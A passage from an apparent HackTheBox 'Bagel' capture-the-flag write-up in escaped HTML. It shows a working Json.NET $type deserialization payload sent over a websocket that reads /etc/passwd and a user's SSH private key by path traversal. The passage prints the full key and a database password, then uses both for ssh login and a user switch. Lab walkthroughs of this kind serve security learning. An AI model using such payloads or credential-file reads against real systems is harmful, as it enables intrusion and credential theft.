&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Name&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s">&amp;#34;Hudson Hotel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Stars&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="m">4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">string&lt;/span> &lt;span class="n">jsonTypeNameAll&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">JsonConvert&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SerializeObject&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stockholder&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">Formatting&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Indented&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">JsonSerializerSettings&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">TypeNameHandling&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">TypeNameHandling&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">All&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">WriteLine&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">jsonTypeNameAll&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// {&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;$type&amp;#34;: &amp;#34;Newtonsoft.Json.Samples.Stockholder, Newtonsoft.Json.Tests&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;FullName&amp;#34;: &amp;#34;Steve Stockholder&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;Businesses&amp;#34;: {&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;$type&amp;#34;: &amp;#34;System.Collections.Generic.List`1[[Newtonsoft.Json.Samples.Business, Newtonsoft.Json.Tests]], mscorlib&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;$values&amp;#34;: [&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// {&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;$type&amp;#34;: &amp;#34;Newtonsoft.Json.Samples.Hotel, Newtonsoft.Json.Tests&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;Stars&amp;#34;: 4,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;Name&amp;#34;: &amp;#34;Hudson Hotel&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// }&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// ]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// }&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// }&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The commented section is the serialized output of the &lt;code>stockholder&lt;/code> object. The &lt;code>$type&lt;/code> holds two info, first one is the namespace, second is the assembly name(project_name).(ChatGPT explains it very clearly). Now for this case, namespace is &lt;code>bagel_server&lt;/code> and assembly name is &lt;code>bagel&lt;/code>, then rest of the params.
Now I can create a payload for &lt;code>RemoveOrder&lt;/code> which calls the &lt;code>ReadFile&lt;/code> function.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">echo&lt;/span> &lt;span class="s1">&amp;#39;{&amp;#34;RemoveOrder&amp;#34;: {&amp;#34;$type&amp;#34;: &amp;#34;bagel_server.File, bagel&amp;#34;, &amp;#34;ReadFile&amp;#34;: &amp;#34;../../../etc/passwd&amp;#34;}}&amp;#39;&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">jq&lt;/span> &lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;../../../etc/passwd&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;div class="notice notice-info">
First I am calling the RemoveOrder and passing it the rest of the data. The namespace is &lt;span style="color: #d461e8">bagel_server.File&lt;/span> bcoz the &lt;span style="color: #d461e8">ReadFile&lt;/span> is in that file. The assembly is &lt;span style="color: #d461e8">bagel&lt;/span> as it is the project root name. I am calling then the &lt;span style="color: #d461e8">ReadFile&lt;/span> function and passing the file location as a param.
&lt;/div>
Looking further, there is also a &lt;code>DB.cs&lt;/code> file, which has some creds,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-csharp" data-lang="csharp">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">public&lt;/span> &lt;span class="k">void&lt;/span> &lt;span class="n">DB_connection&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SqlConnection&lt;/span> &lt;span class="n">sqlConnection&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">SqlConnection&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-5000">Port 5000
&lt;/h3>&lt;p>Nmap enumeration tried sending HTTP requests to it and got the server results. The header &amp;ldquo;Server: Microsoft-NetCore/2.0&amp;rdquo; reveals a &lt;code>.NET&lt;/code> service running in this port. From earlier enumeration, this is a websocket server. So I will send the payload to this port.&lt;/p>
&lt;p>To talk with a websocket server, I am using &lt;a class="link" href="https://github.com/websockets/wscat" target="_blank" rel="noopener"
>&lt;code>wscat&lt;/code>&lt;/a> tool.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">wscat&lt;/span> &lt;span class="c1">--connect ws://bagel.htb:5000/order&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Connected&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">press&lt;/span> &lt;span class="n">CTRL&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">C&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">quit&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;../../../etc/passwd&amp;#34;&lt;/span>&lt;span class="p">}}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;UserId&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Session&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Unauthorized&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Time&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;4:52:17&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;root:x:0:0:root:/root:/bin/bash&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">bin:x:1:1:bin:/bin:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">adm:x:3:4:adm:/var/adm:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">sync:x:5:0:sync:/sbin:/bin/sync&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">halt:x:7:0:halt:/sbin:/sbin/halt&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">mail:x:8:12:mail:/var/spool/mail:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">operator:x:11:0:operator:/root:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">games:x:12:100:games:/usr/games:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">dbus:x:81:81:System message bus:/:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">polkitd:x:998:997:User for polkitd:/:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">abrt:x:173:173::/etc/abrt:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">chrony:x:994:992::/var/lib/chrony:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">tcpdump:x:72:72::/:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">developer:x:1000:1000::/home/developer:/bin/bash&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">phil:x:1001:1001::/home/phil:/bin/bash&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">_laurel:x:987:987::/var/log/laurel:/bin/false&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;WriteFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;WriteOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I could read the &lt;code>passwd&lt;/code> file. Now remembering the comment on using ssh key to login, I looked for &lt;code>id_rsa&lt;/code> file of the two users. I got the key for &lt;code>phil&lt;/code> user and formatted it by using CyberChef.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;../../../home/phil/.ssh/id_rsa&amp;#34;&lt;/span>&lt;span class="p">}}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;UserId&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Session&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Unauthorized&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Time&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;4:53:11&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;-----BEGIN OPENSSH PRIVATE KEY-----&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">NhAAAAAwEAAQAAAYEAuhIcD7KiWMN8eMlmhdKLDclnn0bXShuMjBYpL5qdhw8m1Re3Ud+2&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">s8SIkkk0KmIYED3c7aSC8C74FmvSDxTtNOd3T/iePRZOBf5CW3gZapHh+mNOrSZk13F28N&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">dZiev5vBubKayIfcG8QpkIPbfqwXhKR+qCsfqS//bAMtyHkNn3n9cg7ZrhufiYCkg9jBjO&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ZL4+rw4UyWsONsTdvil6tlc41PXyETJat6dTHSHTKz+S7lL4wR/I+saVvj8KgoYtDCE1sV&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">VftUZhkFImSL2ApxIv7tYmeJbombYff1SqjHAkdX9VKA0gM0zS7but3/klYq6g3l+NEZOC&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">M0/I+30oaBoXCjvupMswiY/oV9UF7HNruDdo06hEu0ymAoGninXaph+ozjdY17PxNtqFfT&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">eYBgBoiRW7hnY3cZpv3dLqzQiEqHlsnx2ha/A8UhvLqYA6PfruLEMxJVoDpmvvn9yFWxU1&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">YvkqYaIdirOtX/h25gvfTNvlzxuwNczjS7gGP4XDAAAFgA50jZ4OdI2eAAAAB3NzaC1yc2&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">EAAAGBALoSHA+yoljDfHjJZoXSiw3JZ59G10objIwWKS+anYcPJtUXt1HftrPEiJJJNCpi&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">GBA93O2kgvAu+BZr0g8U7TTnd0/4nj0WTgX+Qlt4GWqR4fpjTq0mZNdxdvDXWYnr+bwbmy&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">msiH3BvEKZCD236sF4SkfqgrH6kv/2wDLch5DZ95/XIO2a4bn4mApIPYwYzmS+Pq8OFMlr&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">DjbE3b4perZXONT18hEyWrenUx0h0ys/ku5S+MEfyPrGlb4/CoKGLQwhNbFVX7VGYZBSJk&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">i9gKcSL+7WJniW6Jm2H39UqoxwJHV/VSgNIDNM0u27rd/5JWKuoN5fjRGTgjNPyPt9KGga&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Fwo77qTLMImP6FfVBexza7g3aNOoRLtMpgKBp4p12qYfqM43WNez8TbahX03mAYAaIkVu4&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Z2N3Gab93S6s0IhKh5bJ8doWvwPFIby6mAOj367ixDMSVaA6Zr75/chVsVNWL5KmGiHYqz&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">rV/4duYL30zb5c8bsDXM40u4Bj+FwwAAAAMBAAEAAAGABzEAtDbmTvinykHgKgKfg6OuUx&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">U+DL5C1WuA/QAWuz44maOmOmCjdZA1M+vmzbzU+NRMZtYJhlsNzAQLN2dKuIw56+xnnBrx&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">zFMSTw5IBcPoEFWxzvaqs4OFD/QGM0CBDKY1WYLpXGyfXv/ZkXmpLLbsHAgpD2ZV6ovwy9&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">1L971xdGaLx3e3VBtb5q3VXyFs4UF4N71kXmuoBzG6OImluf+vI/tgCXv38uXhcK66odgQ&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Pn6CTk0VsD5oLVUYjfZ0ipmfIb1rCXL410V7H1DNeUJeg4hFjzxQnRUiWb2Wmwjx5efeOR&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">O1eDvHML3/X4WivARfd7XMZZyfB3JNJbynVRZPr/DEJ/owKRDSjbzem81TiO4Zh06OiiqS&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">+itCwDdFq4RvAF+YlK9Mmit3/QbMVTsL7GodRAvRzsf1dFB+Ot+tNMU73Uy1hzIi06J57P&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">WRATokDV/Ta7gYeuGJfjdb5cu61oTKbXdUV9WtyBhk1IjJ9l0Bit/mQyTRmJ5KH+CtAAAA&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">wFpnmvzlvR+gubfmAhybWapfAn5+3yTDjcLSMdYmTcjoBOgC4lsgGYGd7GsuIMgowwrGDJ&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">vE1yAS1vCest9D51grY4uLtjJ65KQ249fwbsOMJKZ8xppWE3jPxBWmHHUok8VXx2jL0B6n&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">xQWmaLh5egc0gyZQhOmhO/5g/WwzTpLcfD093V6eMevWDCirXrsQqyIenEA1WN1Dcn+V7r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">DyLjljQtfPG6wXinfmb18qP3e9NT9MR8SKgl/sRiEf8f19CAAAAMEA/8ZJy69MY0fvLDHT&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">WhI0LFnIVoBab3r3Ys5o4RzacsHPvVeUuwJwqCT/IpIp7pVxWwS5mXiFFVtiwjeHqpsNZK&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">EU1QTQZ5ydok7yi57xYLxsprUcrH1a4/x4KjD1Y9ijCM24DknenyjrB0l2DsKbBBUT42Rb&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">zHYDsq2CatGezy1fx4EGFoBQ5nEl7LNcdGBhqnssQsmtB/Bsx94LCZQcsIBkIHXB8fraNm&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">iOExHKnkuSVqEBwWi5A2UPft+avpJfAAAAwQC6PBf90h7mG/zECXFPQVIPj1uKrwRb6V9g&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">GDCXgqXxMqTaZd348xEnKLkUnOrFbk3RzDBcw49GXaQlPPSM4z05AMJzixi0xO25XO/Zp2&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">iH8ESvo55GCvDQXTH6if7dSVHtmf5MSbM5YqlXw2BlL/yqT+DmBsuADQYU19aO9LWUIhJj&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">eHolE3PVPNAeZe4zIfjaN9Gcu4NWgA6YS5jpVUE2UyyWIKPrBJcmNDCGzY7EqthzQzWr4K&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">-----END OPENSSH PRIVATE KEY-----&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;WriteFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;WriteOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now saving this to &lt;code>id_rsa&lt;/code> and setting the correct permissions, I can now login via ssh.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">chmod&lt;/span> &lt;span class="mi">600&lt;/span> &lt;span class="n">id_rsa&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">ssh&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="n">id_rsa&lt;/span> &lt;span class="n">phil&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">bagel.htb&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now recalling, there was a password for a &lt;code>dev&lt;/code> user in dll file and also a &lt;code>developer&lt;/code> user in the system, i try to switch user to developer with the password and it worked.&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation
&lt;/h2>&lt;p>Now as user &lt;code>developer&lt;/code>, i found out my sudo rights for privilege escalation,&lt;/p>
